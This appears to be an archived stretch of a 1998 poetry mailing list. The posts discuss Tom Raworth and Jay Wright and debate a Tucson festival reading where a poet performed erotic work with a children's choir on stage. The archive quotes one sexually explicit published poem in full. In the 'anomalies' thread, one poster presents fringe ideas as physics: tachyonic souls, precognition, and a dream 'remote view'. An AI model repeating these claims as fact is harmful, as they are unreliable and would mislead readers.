later--many works of Burroughs and Gysin influenced by principles of collage--cutup etc--

hope this of help

--dave baptiste chirot

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229. Susan Clark
Lindsay Hill address anyone?
Thu 9 Apr 1998

Hello, does anyone have a recent address for Lindsay Hill; a Memphis address I have doesn't work and it has come back with "no forward order on file"

thanks for any hints,

Susan

Susan Clark
RADDLE MOON
[redacted]

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230. Christina Fairbank Chirot
Re: re : unsubscribe poetics
Thu 9 Apr 1998

---

this is a personal squawk, my partner, aka dbc had difficulty subscribing to poetics so ended up subscribing under my address. after few years I figure y'all could let him in on his address. I tried to unsub, have written requesting directions on onsubbing w/no response. am tired of wading thru all this stuff to get

my mail (do I really care what the servers are called at SUNY buffalo? I DON'T THINK SO -

now apparently is as hard to get off this list as get on so understand the crisppee's or whatever its name was' desperation

signed

despairing

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231. **Keston Sutherland**
Re: Was: Censorship and Belief NOW: Something of great constancy
Thu 9 Apr 1998

> *I am able, and at times have necessarily had to suspend all assumptions, all beliefs, and all imagination.*

it's rather a droll retort and basically unnecessary, but did you know yourself to be doing this because you assumed so, believed so or imagined so? whatever

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232. **Keston Sutherland**
Re: April archives
Thu 9 Apr 1998

---

yeah so what - I resent, very slightly, being hoisted in this sample of wryness: the messages I've posted to the list were on serious issues or they were poems by myself or by others. I have made a particular effort to post pieces by Andrea Brady in the past week, that accounts for a good slice of my input. Nothing to say about aliens, except to mention Mandeville etc. What have you said?

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233. **Aldon Nielsen**
Robeson, H.D., Bryher
Thu 9 Apr 1998

According to my TV guide, the American Movie Classics cable ch. is showing the seldom-seen silent film _Borderline_ tonight, which features Paul Robeson, H.D., Bryher, Kenneth MacPherson etc.

If true, this is not-to-be-missed -- check your local listings --

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234. **Mark Weiss**
Re: the Wright Reading
Thu 9 Apr 1998

Wright read at UCSD this evening and reads at the Porter Troupe Gallery in San Diego tomorrow evening. A consummate craftsman and a poet of deep intelligence in three languages and several dialects. I'm embarassed to admit that I didn't know his work till this evening. He read a stunning longish poem the central imagery of which was derived from the Virgin of Guadeloupe. Copper Canyon is putting out a generous selected poems next year.

At 02:53 PM 4/9/98 -0700, you wrote:
>Last night Jay Wright appeared at the California Institute of Arts (having
>read the previous day at Occidental College). He read portions of plays
>written over the past two decades (including portions of the play for
>Nicolas Guillen that appeared in the special Guillen issue of Callaloo
>[10.2 -- 1987 if you want to look it up]) -- One surprise was when he broke
>into song, in Spanish. I'd known that he was fluent in Spanish (he also
>read passages in Yoruba with no discernable American accent), but I hadn't
>known that he could sing. (also plays upright bass, though not at
>readings) --
>
>Some of the work was from a recently completed ms. titled
>_Transformations_, which, if all goes well, will appear in a volume of
>collected poems soon.
>
>Watch the Cambridge Univ. Press listings next year for a book by Carole
>Doreski that includes a substantial, and GOOD, chapter on Jay Wright's
poetry.
>
>
>Cigarettes in my mouth
>to puncture blisters in my brain.
>My bass a fine piece of furniture.
>My fingers soft, too soft to rattle
>rafters in second-rate halls.
>The harmonies I could never learn
>stick in Ayler's screams.
>
>	(from "The End of an Ethnic Dream" -- Jay Wright)
>
>

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235. Rprunty
Raworth's appeal
Fri 10 Apr 1998

I'm relatively new to the list and thought I'd try again to stir up some discussion. I have been reading Tom Raworth's book Eternal Sections and just keep coming back to it. So far, however, I haven't really been able to articulate much what I like about it. It doesn't seem flashy in its form, and only occasionally does a single line or phrase jump out at me as terrific, but the cumulative experience of reading several pages in a sitting is quite satisfying. No, more than that...exciting. It encourages me to write, but I don't know why. In a Perloff article called Sentence, Not Sentence she mentions the variety of Rawoth's lines. Meaning, that in his blocks of verse, no two lines of the same sentence structure are next to each other. This is interesting to me, and I'm sure the variety in the syntatical structure as well as the variety of the way it looks on the page is part of the appeal. But... that still doesn't seem to be enough to explain why it seems like such great stuff to me. Maybe that's why they call it poetry. Any thoughts from other Raworth fans?

Randy Prunty

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236. Robert Hale
to see -- once more -- the stars.
Fri 10 Apr 1998

For those of you still on line on the East Coast, try to look the window around 4am this morning (still Thursday for me) and look at the stars, if it's clear, of course. That view and time is vaguely in accordance with the narrative action of Dante's Inferno, where at the end of the first part of the Divine Comedy (presumably, the pre-dawn Friday after Maundy Thursday -- I'd say about 4am), "I" emerges out of "the despondent kingdom" "to see --once more-- the stars."

E quindi uscimmo a riveder le stelle.

You also may want to read the rest of Dante's great poem, concluding with Paradisio on Easter Sunday.

Now, 9:30pm here in California, would be about the time to begin reading the Inferno out loud. You'd finish around 4am (including coffee breaks) and walk outside to see the stars. Unfortunately, it's partly cloudy here in SF tonight and who knows when the fog will roll in.

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237. **Ryan Whyte**

Letter (fwd)

Fri 10 Apr 1998

Dear Schiller

What will you make of my blotted scrawls, my backtrackings, my marble powderings, my breathless cries? What will you think, what will you say? What airs will hover abating silence in the valleys of your homelands, your lips pressed tight --

I fell in the sublime you wrote me of, because I cannot call your existence into question, I cannot wipe away the grounds. You, springing out of that which you have written me so many times in the past. For it is the unreasonableness of that ground which accords - as in the only condition which unreasonableness is in accord, namely, with itself - for it is your scaffolding which you have inherited, your "nobilities," your "grandeurs," as if somehow coursing, as you wrote, in your skies, your rivers. The ramparts of your homelands.

What goes unseen in you? What would you say of this purest of loving, spilt in the gorge?

How would I love you, Schiller - dare I say, with these sublime tremblings?

I give myself to your chasms, your untended plains, your deserts crisscrossed, your senseless woods, your terrors, your sleeplessness: the peaks of your glacial S, your R eternally flaming. (Forgiveness: what is more natural, then, of nature's nature, than _the persistence of the letter_? That _is_ what you seek, no?)

This is how you find me. How do you find me? It is not to ask of drive, fulfillments, celestial mechanics, traces of which we are party to in your cosmology.

To elevate is to stand next to the hole. This I have learned. I ask for your altitudes, I pay homage to scraped lands I don't know, I pummel French gardens for you, I raze cities. I would win your heart - not wishing, lamely, for a lover's arrival, but instead superimposing with absolute moral force, without the investment *du couer*, the usury *du sang*; disinterestedly, distractedly.... Naturally I would turn my back on you if you came, what unfathomable travesty to see your face....

Schiller, my impossible, my ten thousand lapis washes. What would you make of my ceaseless mutterings, my Freud, my Marcuse? What would you _do_, with my burned letters, my false starts, my fevers, my inexplicable clutter across these cities? I can't very well give these manifestations, my persons in wartime and in peacetime, the one and the other, so incommensurable; I can't seep into the page, drawing across the ink without, once, blushing....

This envelope is white. That you can see.

R

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238. **rsillima**
John Granger's Organs
Fri 10 Apr 1998

Folks familiar with John Granger or the San Diego scene may want to know that this week's issue of the San Diego Reader has a big cover story by John on the topic of the city's more than 100 pipe organs.

The reader can be accessed at www.sdreader.com

Ron

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239. **rsillima**
Mondegreens
Fri 10 Apr 1998

A piece in the NY Times today on Mondegreens, with links to sites such as The Ants Are My Friends and Kiss This Guy:

http://www.nytimes.com/library/tech/98/04/circuits/articles/09song.html

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240. **charles alexander**
local issue: byrkit performance
Fri 10 Apr 1998

Here's from the electronic version of the Arizona Daily Star in Tucson. I was not at the performance, but I have heard people who were at it say it was great, and that it was awful (both in terms of the issue of sexually explicit poetry in a performance involving young children; and in terms of the quality of the work). I have to admit that I was somewhat surprised to hear months ago that the Festival had invited Byrkit, but my surprise was not based on the explicit nature of her work. I don't think the Festival should have been at all surprised at the kind of poetry Becky was reading, and although it's clear she didn't give much clue to her young performers or their parents, I also think the Festival might have been just a little more on top of the issue in advance, knowing Becky's work.

charles

Poet `ambushes' kids in choir

[photo of Byrkit] Becky Byrkit, an award-winning poet and adjunct instructor at the University of Arizona's English Department, invited the Vail choir to sing while she read her poetry.

Sexually explicit verses stun Vail singers, parents at reading
By Monica Mendoza
The Arizona Daily Star

Parents say Old Vail Middle School choir members were betrayed by a local poet when they unwittingly became part of her erotic poetry reading.

Choir members agreed to sing on stage for Becky Byrkit while she performed before a crowd of more than 200 at last weekend's 16th annual Tucson Poetry Festival.

They had practiced the words of the song ``Roam'' by the rock group B-52s and showed up on stage Friday evening in blue jeans, plain shirts and barefoot - just as Byrkit requested. They were told the theme of the festival was geography.

But Byrkit launched into smoldering erotic poetry that turned their little faces red and sent parents into a fit of anger.

``She began reciting in explicit detail about oral sex, gay sex and sex in the back seat of a car,'' said parent Larry Williams, whose daughter and niece, both 12, were in the choir.

``She talked about God in a negative way,'' said Rita Lake, mother of 12-year-old Daniel. ``My son was crying as he walked off the stage.''

Daniel, whose family is very religious, was confused and hurt by Byrkit, Lake said.

Minutes into Byrkit's reading, the 18 children were herded off stage by the Vail choir instructor. After her one-hour performance, parents demanded to know why Byrkit ``ambushed'' their kids.

According to parents, Byrkit never apologized for the explicit poetry - only that she was sorry the children didn't get to sing their song.

Two parents filed complaints early this week with the Pima County Attorney's Office saying Byrkit violated decency laws by exposing them to obscene material. An investigator has been assigned to the case.

Parents also wrote angry letters to the Tucson Poetry Festival and its sponsors voicing their disgust. Festival organizers, who said they were just as shocked at Byrkit's choice of reading with the children present, said this is an unfair black eye on their otherwise successful event.

``This is an issue between Becky, the parents and the teacher,'' said John Hudak, president of the board that oversees the festival. ``We feel victimized in our own right.''

Byrkit did not use vulgarity in her performance, said Scott Stanley, publisher of the bimonthly magazine Tucson Poet. The language was sexually laced without being explicit, he said.

``It was over the heads of 13-year-olds - I don't think they had a clue,'' Stanley said. ``It was clear to the parents what she was saying.''

Byrkit would not comment on the situation under the advisement of her attorney.

``I'll give you a call as soon as counsel says it is advisable to speak to you,'' she said in a telephone message. ``In the meantime, if you could, just chill.''

Byrkit, an award-winning poet and adjunct instructor at the University of Arizona's English Department, invited the Vail choir to sing while she read her poetry at the festival, which was at the Tucson Center for Performing Arts, 408 S. Sixth Ave.

The two had paired in the past for a Christmas poetry reading at The Voice and Range, a poetry consulting service Byrkit runs out of her home.

That performance was tasteful, said Vail Superintendent Calvin Baker.

No one knew Byrkit planned to read poems about sex in this second meeting. The children, ages 11-13, rehearsed with Byrkit the previous Thursday afternoon, Baker said. But ``she didn't read her part,'' he said.

The teacher and the children didn't ask for details about her reading because ``they had worked with her and trusted her,'' Baker said.

``The children's trust was violated,'' Baker said. ``They were embarrassed by it and upset.''

Byrkit is known for her steamy poetry, said local poet Dave Mitchell. In 1995 she published her first book, ``Zealand'' - a collection of poems that one critic said ``resuscitates . . . language in a phantasmagoria of erotic encounters.'' She has been a featured poet in the Bisbee Poetry Festival and is a 1993 winner of a statewide poetry contest.

``The erotic content is her vehicle to be deconstructionist with her style,'' Mitchell said. ``If eating a cheeseburger was taboo in polite circles, she would be writing about cheeseburgers.''

Byrkit was invited as one of the six featured poets in this year's festival because ``she is an up-and-coming poet,'' said Hudak, president of the board that

oversees the festival. ``She has been controversial - we have not been afraid of that.''

But Hudak said festival organizers were surprised to find out that Byrkit had not informed the Vail teacher or students of her complete program.

``As far as we knew, she had worked with the teacher and the kids,'' he said. ``There were parent permission slips and there were rehearsals.''

Poets are not asked in advance for their material, he said. And many create new pieces for the festival.

Byrkit's piece was called: ``Suite: Cowpunk Réal.'' In a pamphlet for the show she described the three-part reading as a compilation composed with three other poets. One part was improvisational and the third part was titled, ``Roam'' - that is where the children were to sing.

Neither the county attorney nor the festival committee has a copy of the poem. However, the show was videotaped and that tape will be given to the county attorney for its investigation.

Meanwhile, the festival committee will send letters of apology to all the parents and children involved, Hudak said.

``We feel badly for the parents,'' he said. ``We feel and have expressed to Becky that she didn't handle this well.''

In the future, the festival committee will take more precautions, Hudak said. The committee will make sure that all parties performing in the show are aware of each other's part in the show. No surprises, he said.

Williams questioned whether the children's reaction was meant to be part of Byrkit's performance. He wants her to publicly apologize to the children.

``I think she needs to be punished,'' he said. ``No children should be subjected to something like this.''

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241. Robert Archambeau
Talisman Hegemony at Last!
Fri 10 Apr 1998

So there I was in downtown Lake Forest, IL on my way to grab what passes for a bagel around here when I see a stack of the Jarnot/Schwartz/Stroffolino Talisman "Anthology of New (American) Poets" gleaming in the window display of the local B. Dalton's.

Given the sort of books they normally carry, this is an occurence on par with seeing a cardboard cutout of Tom Raworth in the window of the local hardware

store. Whoever is handling distribution at Talisman House has my eternal admiration. Today B. Dalton, tomorrow the world!

By the way -- anyone else find Rosmarie Waldrop's cover blurb -- "it's the language of the future" a little ominous? Will the second edition say "We will bury you"?

Best,

Bob

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

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242. **r. drake**
COMMA to perform at Ruthless Grip (fwd)
Fri 10 Apr 1998

> *Date: Fri, 10 Apr 1998 09:18:27 -0400 (EDT)*
> *From: Tom Bickley <[redacted]>*
> *Subject: COMMA to perform at Ruthless Grip*
>
> *Comma is a vocal trio consisting of Joe Zitt, Matt Davis and Tom Bickley. We'd be pleased to have you at our performance. Please pass this information along to others. Thanks! -Tom*
>
> *You are invited to come experience life as art on Saturday, April 18th in the final evening of performance in conjunction with:*
>
> *Cooks Smell Time*
> *at*
> *R u t h l e s s G r i p*
>
> *"A Sub-Neocortal Non-Logic Exhibition/Performance with Precision"*
> *(an installation running March 13 through April 18)*
>
> *Featured on this evening will be the vocal trio, Comma. Starting at 7:30, they will inhabit a sonic dimension of the exhibit, improvising and interpreting both space and time, interacting with the installations.*

> *Vision, language, sound, movement, body and time combine into an experience within which we can live and enjoy. It is a circus of possibility and conversation.*
>
> *Participating artists include Nicola Bastian, Alex Bay, Reginald Crump, Perreaoult Daniels, Jason Ditzian, Bev Donnenfeld Chello, Harvey Fry, Heather Fuller, Michael Gessner, Stuart Greenwell, Amherick Hall, Dawn Hannaham, Isabel Hon, Joanne Kent, Rogelio Maxwell, Marc Millene, Jane Schloss Phelan, Gabriela Pohl, Joan Retallack, Kathy Satterlee, Jerry Smith, Michael Sprouse, David Valentine, Ann Wallace, Mark Wallace, Maida Withers.*
>
> *WHO: Comma in performance*
> *WHAT: 'Cooks Smell Time'*
> *WHEN: Saturday, April 18, 7:30 PM*
> *WHERE: Ruthless Grip Art Project*
> *1508 U Street, NW*
> *Washington, DC 20009*
> [redacted]
>
> *Contact information for Comma:*
> *PHONE:* [redacted]
> *EMAIL:* [redacted]
> *URL: http://www.artswire.org/comma*

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243. Keston Sutherland
(no subject)
Fri 10 Apr 1998

> *``She talked about God in a negative way,'' said Rita Lake, mother of 12-year-old Daniel. ``My son was crying as he walked off the stage.''*

burroughs is alive and well and writing in Tucson, this made me laugh in loud

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244. Keith Tuma
Re: Raworth's appeal
Fri 10 Apr 1998

> *I'm relatively new to the list and thought I'd try again to stir up some discussion. I have been reading Tom Raworth's book Eternal Sections and just keep coming back to it. So far, however, I haven't really been able to articulate much what I like about it. It doesn't seem flashy in its form, and only occasionally does a single line or phrase jump out at me as terrific, but the cumulative experience of reading several pages in a sitting is quite*

> *satisfying. No, more than that...exciting. It encourages me to write, but I don't know why. In a Perloff article called Sentence, Not Sentence she mentions the variety of Rawoth's lines. Meaning, that in his blocks of verse, no two lines of the same sentence structure are next to each other. This is interesting to me, and I'm sure the variety in the syntatical structure as well as the variety of the way it looks on the page is part of the appeal. But... that still doesn't seem to be enough to explain why it seems like such great stuff to me. Maybe that's why they call it poetry. Any thoughts from other Raworth fans?*
>
> *Randy Prunty*

113 reasons subject to typos.

The notion of working in fourteen line chunks.

Periodically what unfolds mimics the shape of a sentence, periodically.

Or not.

Simply put of infinite complexity.

Disjunction is a cliche.

More solid than that, meaty fibers, modular but fertilizer too.

Oh but yes the details.

Of phrase: "on an eight-minute nudge."

Of observation, as if ordinarily awed: "brilliance of the orange lily"

As if descriptively banal: "whistling near the river"

As if propositional: "such division into subjects/consequences of a failure"

Of detached affect, in media res: "fear that increases"

Of anger in stress and spondees: "most of the nation ignored/in droves during/ two hours of prime time"

Of unabashed despair: "we are now cut off"

Of performativity, blundering exact process constructed: "meaning is fluid"

Of devastated textbooks: "emphasising the purely decorative/ history repeats itself"

Speed speed speed, conceptual speed.

As if one more phrase would resolve the matter and you were in the middle of it.

Already started, humming along.

"two small cakes and one tart"

Of torque and juxtaposition: "attitudes do not necessarily change/arson, murders and assualts/in the three biggest economies/nurtured from the start/in a climate/of smelters"

Of aliens separating the metallic constituents. "Smelt."

Of narrative: of narratoology.

"a kind of delight/ which pluralises the meaning/demanded by gesture/but conserves it in the present"

"shadows made of wood"

"terrified whines pulsed"

"his brain refused to work"

Look ma, no hands.

That's not 113.

Back to work earning a living.

Hi Tom!

Milo, 3 months, 28 pounds.

Amut/Tuma.

↑ Index

245. daniel bouchard
in honor of nat'l poetry mnth/ only 20 days left
Fri 10 Apr 1998

"She talked about God in a negative way," said Rita Lake.
"My son Daniel was crying as he walked off the stage."

"She talked about God in a negative no way," said Rita Lake. "My son Daniel was crying as he was talked off the stage."

"Two dogs humped on the grass in a negative way," said Rita Lake. "My son Daniel was curious as he walked off the stage."

"She read poems about God in a negative way," said Rita Lake. "My son Daniel wrote a chapbook as he was led off the stage."

"She talked about negative ways in a negative way," said Rita Lake. "My son Daniel pierced his penis as he walked off the stage."

"She talked about Language Poetry in a negative way," said Rita Lake. "My son Daniel unsubscribed desparately as he signed off the stage."

"She crucified God in a negative way," said Rita Lake.
"My son Daniel highlighted his prayer book as he walked off the stage."

"She wrote a thesis about God in a negative way," said Rita Lake. "My son Daniel began a poetry slam as he walked on stage."

"She talked about the Poetics List in a negative way," said Rita Lake. "My son Daniel deleted her as he walked off the stage."

"She does anything she wants, she's an artist, she don't look back," said Rita Lake.
"My son Daniel's guitar kills fascists as he walks off the stage."

"She walks with a swagger in a negative way," said Rita Lake. "My son Daniel zoned out as he turned the next page."

"She talked about Rikki Lake in a negative way," said Rita Lake. "My son Daniel was on stage crying as he staged walking off the stage."

"She drank Jim Beam from a hip flask in a negative way," said Rita Lake. "My son Daniel corroborated on a poem as he lay down on the stage."

"She looked for a subway or a record shop or some sign that people do not totally regret life in a negative way," said Rita Lake.
"My son Daniel was crying as he set fire to the stage."

<<<<<<>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<

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246. Hugh Steinberg
Re: local issue: byrkit performance
Fri 10 Apr 1998

Having known Becky Byrkit and her work for many years, having also worked for the Tucson Poetry Festival for a number of years, and having been at Becky's performance that night, I feel obliged to comment on the growing fiasco.

I've always admired Becky's work, but the performance that night was just humiliatingly awful, not because of Becky's writing but because of all the performance stuff she put around it. Frankly, children don't really have a place around Becky's work. Her work is often explicit and erotic and dwells in those dark regions your typical parent of a fourteen year old just does not want to think about. The song and dance performance was amateurish in the worst way (if she wanted song and dance, there are plenty of adult companies in Tucson she could have collaberated with). At many points during the reading, I caught her deliberately censoring herself onstage, removing the more graphic elements from her work. Those compromises weakened her work. She was clearly aware of the growing disaster that surrounded her that evening, and it showed in the growing awkwardness of her reading.

The kids seemed to be having a good time however. I suspect the kid was crying because his mom had just embarassed him in front of everyone by yanking him offstage. Lots of parents were pissed: the front three rows were emptied in such a fashion with angry parents and bewildered kids storming out.

One of the reasons I suspect Becky got trapped in this fiasco is because of an arts organization she heads, called "Voice and Range." The organization acts as a sort of networking group, connecting different artistic talents together for eductional and collaborative purposes. I suspect that much of the performances that night were set up through her organization. To be blunt, however, Becky should never have included children in her performance if she was going to read what she usually reads, especially if it hadn't been vetted through the parents of the kids.

As for the Tucson Poetry Festival's role in this, my impression was that they were basically ambushed (although this is not the first time this has happened: a similar event occurred several years ago when the theme of the festival was love poetry and the winner of a statewide poetry contest (who traditionally reads first on a Saturday night) brought her grandchildren to hear her read, only to be followed by some rather explicit homoerotic love poetry by Boyer Rickel and Marilyn Hacker). It's not the responsibility of a literary arts organization to oversee the work of readers. The Festival has a number of constituencies and has made a concerted effort to be as open and inclusive as possible. The Festival deliberately targets people who have never been to a poetry reading. Presenting the work of children has been an important part of this: a specific reading was set aside on a saturday afternoon of the festival in which children read their poetry. This event was very well attended, I doubt if any of the participants were at Becky's reading the night before.

The dilemma is not how to present poetry without offending anyone, the problem is making sure audiences have some idea of what they are getting so they

don't feel ambushed. There's a lot of great poetry out there that some parents might feel is not appropriate for kids. At the same time, it would be absolutely dreadful if this was used as an excuse to keep kids away from all poetry. It would be equally dreadful if this was used as an excuse to shut down the Tucson Poetry Festival.

I'd like to hear from other people involved with literary arts organizations and reading series: how do you handle this issue, of kids and parents at readings, of presenting explicit work in a public forum?

Hugh Steinberg

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247. **Mark Prejsnar**
Re: local issue: byrkit performance
Fri 10 Apr 1998

Wow!!

punishing poets for their work.....[I'm quoting the last sentence of the fascinating news account from Charles A.]

It isn't often we're treated as important enough to *punish*!! (Other than with nasty reviews..)

I'll leave it to the wittier Listfolk to ask the obvious questions about whether her interests include discipline...

I'll simply note the amazing quotation about how she "spoke negatively about God"!!! (this of course is said to have reduced a child to tears!)

Yup, this is certainly the good ol' USA.

amazed in atlanta,
m

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248. **henry**
Re: to see -- once more -- the stars.
Fri 10 Apr 1998

Thanks, Robert. Interesting. At 2 pm today (Good Friday) I finished bk 2 of STUBBORN GREW THE ROSE. Bk2 is sort of a purgey (turgid?) oratorio called "Fox Point". I was up late on Maundy Thursday (approx. 1:30 am) working on it. Here's some stanzas I wrote at that hour:

Catch us the little foxes, Solomon,
that spoil our vineyard. Lucky,

true love's the cardinal pt (sd Bluejay).
A monde, almond. All made. I thirsty, mon.

Upon a Roman rood was fixt
clay lips gone underground. Still
through the pinedoor, drifted sound.
Her calling me. A morning rose. Finixt.

4.9.98 (Maundy Thirsty)

look for it in black holes everywhere.

- Henry

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249. **Rprunty**
Re: Raworth's appeal
Fri 10 Apr 1998

Keith/HtieK Tuma/Amut, Thanks for the response. Several of your "shots" give some language to my RaworthRumblings...."infinite complexity", "the details", "descriptively banal", "detached affect", especially contrasting with "unabashed despair". Don't know what "conceptual speed" is, but its got me intrigued. What I liked best was "As if one more phrase would resolve the matter and you were in the middle of it."

Here's one of my favorite "14 chunks" from Raworth... just in case you don't have Eternal Sections at hand.

we could turn to
get his message
a few words phonetically
achieving escape velocity
dancing towards me
near dawn
as if by accident
missing pieces of information
synchronise its release
on a conscious basis
animals always saw
in the most economical fashion
it makes no difference
we are now cut off

Randy Prunty

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250. DANIEL L. COLLIER
Re: Poetics of collage?
Fri 10 Apr 1998

Three years ago I was a temp for a consulting firm that had just lost its main client, NASA. To burn off budgeted funds, they stuck me in a room with three other temps and no assignment except to sit, wait, and listen to a daily lecture about how big work was a-comin' our way.

Aside from two-hour lunches at the Smithsonian, I passed the time cutting panels out of the daily comics and reorganizing them so they made new comics. I still have this habit, and whenever I show them to people they say "gee you must have time on your hands."

Not really. But I'm attentive to a poetics of the comics page (maybe I should've made a new subject header) that is verbal, visual, narrative, repetitive, and occasionally perverse.

Try it. Or just try reading the page for individual panels. Mark Trail and the soaps are particularly wondrous, though Spiderman is probably the best with its days & days of absolutely nothing happening.

Kind of like being a temp... and like the three jobs I've had since.

Danny

---
phone 7-[redacted] --- fax 7-[redacted]

"I missed an appointment. Now they're going to smash my
face." -- Kirpichi Tizhuli

↑ Index

251. Maz881
Re: anomalies
Fri 10 Apr 1998

also the morpheus asked a <<QUESTION: Does anyone know of poetry about the
new physics, about quanta,
anomalies and new cosmological ideas ?>>

Anything by Khlebnikov. Also a Chapbook by Me called Swoon Rocket published by the Figures available from small press distribution ([redacted]). This work mostly "about" gravitational lensing. You can also find this book at Club by Me on King and Isenberg in Honolulu.

Bill Luoma

also, recent qm tunneling experiments claim to prove superluminal velocites. on the notion that the tunneling time (the "time" when the particle is "inside" the barrier) is virtually zero.

http://www.uni-koeln.de/~abb11/workshop/announce.html

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252. **Maz881**
San Francisco Reading
Fri 10 Apr 1998

Bill Luoma / Juliana Spahr
Saturday April 18th, 8:00pm @ New Langton Arts which is at 1246 Folsom, between 8th and 9th streets. [redacted] for info.

hope to see you california heads there.

↑ Index

253. **morpheal**
Re: anomalies
Fri 10 Apr 1998

> *Anything by Khlebnikov. Also a Chapbook by Me called Swoon Rocket published by the Figures available from small press distribution ([redacted]). This work mostly "about" gravitational lensing. You can also find this book at Club by Me on King and Isenberg in Honolulu.*
> *Bill Luoma*

Thanks.

For what little such things are worth, except as interesting science fiction, I had a lucid dream not long ago about what I believe is to be a launch facility for space vehicles that might be loosely termed "gravitational lensed" lensed" type propulsion systems. Gravity is inextricably linked with the superluminal, and a superluminal field, if contained/focused electromagetically to keep it from destroying the vehicle it is propelling and the lauch structure, could, I believe, in theory, be used instead of traditional rocket engines.

The dream was of a very huge concrete structure built into the earth. The walls were massive pourings, with a huge diameter hollow cylindrical shaped center. The walls had orifices or short protruberances (field generator outputs ?) located equidistant inside the cylinder. The upper surface indicated the pouring was at least fifty or more feet thick. The depth was undiscernable, but the visible portion was more than a hundred feet before the other side blocked vision into the hole in the middle. The surrounding terrain was blackened rock, very rough, weathered rock, foothills type rock, maybe slate or shale or something

similarly coloured and nothing growing or living as far as I could see to the southwest of the structure.

Nothing comparable in my experiences. Might be a chanced on remote view.

If I am right, the superluminal field would be generated under the vehicle and the vehicle would be propelled upwards surrounded by a force field resembling a magnetic crucible force field from the sides and perhaps the bottom of the launch facility. If so, it would be out of there, once accelerated up to full tachyonic field strength, in less than a quick blink of an eye, and off into space.....The payload would be larger than the space shuttle. Much larger.

> *also, recent qm tunneling experiments claim to prove superluminal velocites.*
> *on the notion that the tunneling time (the "time" when the particle is*
> *"inside" the barrier) is virtually zero.*

There was in fact a scientific report of the time between point of entry and point of exit being negative, rather than positive. I cannot remember the name of the researchers, but it jives with Dr. Sarfatti's contentions regarding the "back reaction" enabled by subliminals such that information is conveyed from the future to the past, making precognition possible even if exceptional.

You can find Jack Sarfatti and his organization on the world wide web. He is a mathematical physicist.

M.

↑ Index

254. RJRVE
Re: Was: Censorship and Belief NOW: Something of great constancy
Fri 10 Apr 1998

In a message dated 98-04-09 17:21:18 EDT, you write:

Morpheal wrote:

<< I am able, and at times have necessarily had to suspend all assumptions, all beliefs, and all imagination. Otherwise those cloud and colour perception with falsification as to what is sensed. (Phenomenological methods again.)

Also able to almost totally resist hypnotic suggestion.

Trust me, it is possible.

Regardless of what some say about it being impossible.
>>

Now just where does such an experiment take one?
If you succeed, you can not possibly answer my question, no?

Richard Reeve

↑ Index

255. **Maz881**

Re: re : Alien Dreams Now: EMRadiation and New Cosmologies

Fri 10 Apr 1998

Bob Ez. is this what you mean by Cherenkov radiation (see definition below)? Can you provide a better definition than the one below? Can you provide an explanation why Cherenkov radiation is important to your argument or I guess I don't really understand tachyons and how they would emit light and what speeds that light would travel at?

Best,

Bill Luoma

definition of Cherenkov radiation from some web site: "it is also possible to use these same heliostats at night to collect the quick flashes of blue Cherenkov light that result from gamma ray air showers. These gamma rays originate from astrophysical sources at galactic and extragalactic distances. When they enter the earth's atmosphere, the gamma rays interact with air molecules, creating an extensive shower of high-energy particles. These particles go faster than the speed of light in air, and thus emit light, or Cherenkov radiation. This radiation (at optical and ultraviolet wavelengths) is beamed to the ground, where it is readily collected by the heliostat mirrors."

Morpheal wrote: <<The interesting thing is that if the universe is non Einsteinian, and a new paradigm evolves, making Einstein's universe as obsolete a model as is Newton's (though nevertheless continuing to be useful in its own ways), then inter dimensional aliens could be a reality. They could be mostly tachyonic (faster than light) quanta, whereas we are mostly tardyonic (slower the light) quanta. That would account for inter-dimensionals being seen as shimmers of light. That would be Chernkov radiation, which would be luxons emitted by tachyons that are slowed down when involved in densities of tardyons and some luxons where more collisions occur. The Kirlian aura of human forms might also be our tachyonic "souls" and seen only when electrons interfere with tachyons such that Cherenkov-like radiation (as light) is emitted.>>

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256. ScoutEW
Poetics of comic strips
Fri 10 Apr 1998

Ever seen the stuff Ron Padgett and Joe Brainard have done with comics?
At the current display at the NY public library sits is one of their
originals.
Comics sit side by side with poetry in my mind
some of my favorites
1 Daredevil
2 Mighty Mouse (yeah he was a superhero)
3 The Invisible Woman
4. Iron Fist and Power Man
5. Hawkeye
and yours..

↑ Index

257. Hugh Steinberg
Re: local issue: byrkit performance
Fri 10 Apr 1998

Here's one of Becky Bykitt's poems, which was read that night (read underline signs for italics):

The Only Dance There Is

Oh no! He's going to _show_ it to me --
This gelatinous spore burst like a shot bird's foot --
Splayed, in the nest of his own little egg cup are. God!
Is it he, or is it I, in my white spikes and levis,
Peeling sweaty red labels off Buds, who becomes
Slowly exposed, a pornographic snap developing
At a While-U-Wate Shak? Is it my turquoise lighter holder,
Or my voice, full of coins and strangulations,
That compels the alcoholics, the men I literally live for,
To repeatedly ask what I want? _Hey! What do you want?_
I know girls who dance in bars and marry, like, firemen.
This man here is so unemployed I could talk to him
All night. I'm saddled on a teetering labrador of lust, drunk
And ready to fill up a station wagon. It is

the _degringolade_ of the species of woman I am --
The curl of my big leg and the smell of that sweat,
Redolent and in that Terrible Vicinity. Here _let me buy that,_

I am transmigrating in the _def leppard_ of my "desire"
And it has happened before, is happening, will happen again,
All of it. It's the old lovemaking in the cemetary routine,
    Johnny.
The last beauty I fell for drank me AND fucked me
Under the table. He said, "Hey there you little redheaded
    sweetiepie, you.
Perfection, my life is an open casket funeral; darling,
Our love is the visitation hour." You heard what he did next.
Frankly I still admire him.
I have nevernever touched myself so well,
Nor could I observe a man jerk off in a sock with such joy.
At times I swear the sex of the earth is the sponge and bedwash for Jesus.
At times I swear I could live with a man I'll call "Tom"
    forever: when we met he bound me with Venetian blind cord
And went down on me for roughly nine hours. He delivered
His own daughters' sons. You know how it must be for me.
Drunk in bars, I feel the righteous _ness_ of humidity and cherry,
Initials carved in tequila-drenched grains with "surgical
    precision."
We are listing toward the primordial wind and I talk about men
To men. (Once, my hair caught fire in a tavern.
        The man who set it horsewhipped my head, singeing
      His shavebrush Stetson.)
An absolute glance. Tufts of botched permanent wave. O,
You drunk and fucked-up munificence. O, Unshaven, Midnight,
Kindly lubricate my introduction to the unspeakable ring of chaos
You understand to be your life. You will surely pull the coil
    out of my car.
Oh no! He's going to show it to me --
God save the two of us, supernova.

The poem is from her book "Zealand," and can be found in "Best American Poetry 1994."

